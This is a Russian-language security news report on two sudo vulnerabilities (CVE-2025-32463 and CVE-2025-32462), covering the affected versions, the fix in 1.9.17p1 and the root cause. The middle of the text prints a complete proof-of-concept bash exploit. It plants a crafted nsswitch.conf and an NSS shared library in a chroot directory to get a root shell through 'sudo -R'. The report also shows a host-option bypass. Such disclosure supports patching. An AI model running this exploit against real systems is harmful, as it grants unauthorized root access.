В коде утилиты sudo, применяемой для организации выполнения команд от имени других пользователей, выявлена критическая уязвимость (CVE-2025-32463), позволяющая любому непривилегированному пользователю выполнить код с правами root, даже если пользователь не упомянут в конфигурации sudoers.
Исследователи выяснили. что проблеме подвержены дистрибутивы Linux, использующие файл конфигурации /etc/nsswitch.conf, например, возможность эксплуатации уязвимости продемонстрирована в Ubuntu 24.04 и Fedora 41.
По информации OpenNET, уязвимость проявляется в конфигурации по умолчанию и подтверждена в версиях sudo с 1.9.14 по 1.9.17 и потенциально затрагивает все выпуски утилиты, начиная с номера 1.8.33.
Проблема устранена разработчиками в обновлении sudo 1.9.17p1. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).
Проблема вызвана тем, что при применении опции «‑R» («‑chroot») для запуска команд в chroot‑окружении с выбранным пользователем корневым каталогом, файл /etc/nsswitch.conf загружался в контексте нового корневого каталога, а не системного каталога. Так как пользователь может использовать в качестве корневого каталога для chroot собственный каталог, он может разместить в нём файл конфигурации nsswitch.conf. Контролируя загружаемый подсистемой NSS (Name Service Switch) файл /etc/nsswitch.conf, пользователь может добавить в него настройки, приводящие к вызову дополнительных обработчиков. Подобные обработчики загружаются NSS в форме разделяемых библиотек, которые также можно разместить в подконтрольном пользователю каталоге. Подставив свою библиотеку пользователь может добиться выполнения из неё кода с правами root, так как обработка NSS производится до сброса привилегий.
Пример эксплоита для уязвимости в sudo:
#!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(«/»); execl(«/bin/bash», «/bin/bash», NULL); } EOF mkdir -p woot/etc libnss_ echo «passwd: /woot1337» > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo «woot!» sudo -R woot woot rm -rf ${STAGE?}
В версии sudo 1.9.17p1 разработчиками также устранена ещё одна уязвимость (CVE-2025-32462), позволяющая выполнить команды с правами root, но проявляющаяся только в конфигурациях sudoers, параметр host в которых выставлен в значение, отличное от ALL или имени текущего хоста. Уязвимость вызвана ошибкой, из‑за которой опция «‑h» («‑host») действовала не только в сочетании с опцией «‑l» («‑list») для вывода привязанных к хосту привилегий, но и при запуске команд. Таким образом пользователь мог указать при вызове sudo любой хост и обойти ограничения правил sudoers, привязанных к имени хоста.
Для совершения атаки пользователь должен упоминаться в sudoers, например, если в настройках указано «testuser testhost = ALL», то пользователь «testuser» мог указать «sudo ‑h testhost» и запустить команды с правами root на любых хостах, а не только на хосте testhost. Уязвимости не подвержены конфигурации с настройками вида «testuser ALL = ALL» или без явных правил для конкретного пользователя.
Источник: habr.com